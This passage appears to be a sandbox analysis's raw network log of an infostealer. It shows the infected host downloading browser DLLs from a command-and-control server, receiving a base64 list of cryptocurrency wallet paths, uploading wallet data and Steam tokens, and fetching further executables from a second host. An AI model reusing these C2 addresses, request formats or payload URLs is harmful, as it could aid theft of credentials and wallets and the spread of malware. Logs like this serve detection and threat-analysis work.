42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 [TRUNCATED] Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="file"------DBGHJEBKJEGHJKECAAKJ--
Jul 4, 2024 20:34:02.756937981 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 20:34:03.008369923 CEST	90	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 20:34:03.189812899 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 4, 2024 20:34:03.879803896 CEST	90	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 20:34:04.061722994 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 4, 2024 20:34:04.481736898 CEST	91	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 20:34:04.669595957 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 4, 2024 20:34:05.010097027 CEST	87	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 20:34:05.192229033 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 4, 2024 20:34:06.711179018 CEST	91	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 20:34:06.902797937 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 4, 2024 20:34:07.140990019 CEST	95	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.30 Cache-Control: no-cache
Jul 4, 2024 20:34:07.338355064 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 4, 2024 20:34:08.056548119 CEST	199	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGDBFIJKEBGIDGDHCGC Host: 85.28.47.30 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 4, 2024 20:34:08.969868898 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 20:34:09.132864952 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKK Host: 85.28.47.30 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="message"wallets------HCAEHJJKFCAAFHJKFBKK--
Jul 4, 2024 20:34:09.330239058 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 4, 2024 20:34:09.332885981 CEST	463	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAECAKKFBGCBGDGIEHC Host: 85.28.47.30 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 43 41 4b 4b 46 42 47 43 42 47 44 47 49 45 48 43 2d 2d 0d 0a Data Ascii: ------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------FCAECAKKFBGCBGDGIEHCContent-Disposition: form-data; name="message"files------FCAECAKKFBGCBGDGIEHC--
Jul 4, 2024 20:34:09.517848015 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 20:34:09.532282114 CEST	561	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIII Host: 85.28.47.30 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="file"------DBKEHDGDGHCBGCAKFIII--
Jul 4, 2024 20:34:10.270571947 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 4, 2024 20:34:10.303832054 CEST	468	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKF Host: 85.28.47.30 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 37 64 30 65 34 39 66 36 32 34 34 66 31 63 34 63 35 66 39 38 64 39 30 38 35 38 35 63 32 38 64 38 38 62 63 64 62 61 63 36 36 66 66 36 36 39 66 66 34 34 35 65 65 33 66 38 34 65 32 38 37 65 36 37 63 62 31 33 30 64 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="token"287d0e49f6244f1c4c5f98d908585c28d88bcdbac66ff669ff445ee3f84e287e67cb130d------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="message"jbdtaijovg------FBKKFBAEGDHJJJJKFBKF--
Jul 4, 2024 20:34:11.080192089 CEST	331	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 18:34:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	77.91.77.81	80	6636	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 20:34:11.088615894 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 4, 2024 20:34:11.814955950 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 04 Jul 2024 18:34:11 GMT Content-Type: application/octet-stream Content-Length: 1914880 Last-Modified: Thu, 04 Jul 2024 17:41:44 GMT Connection: keep-alive ETag: "6686ded8-1d3800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 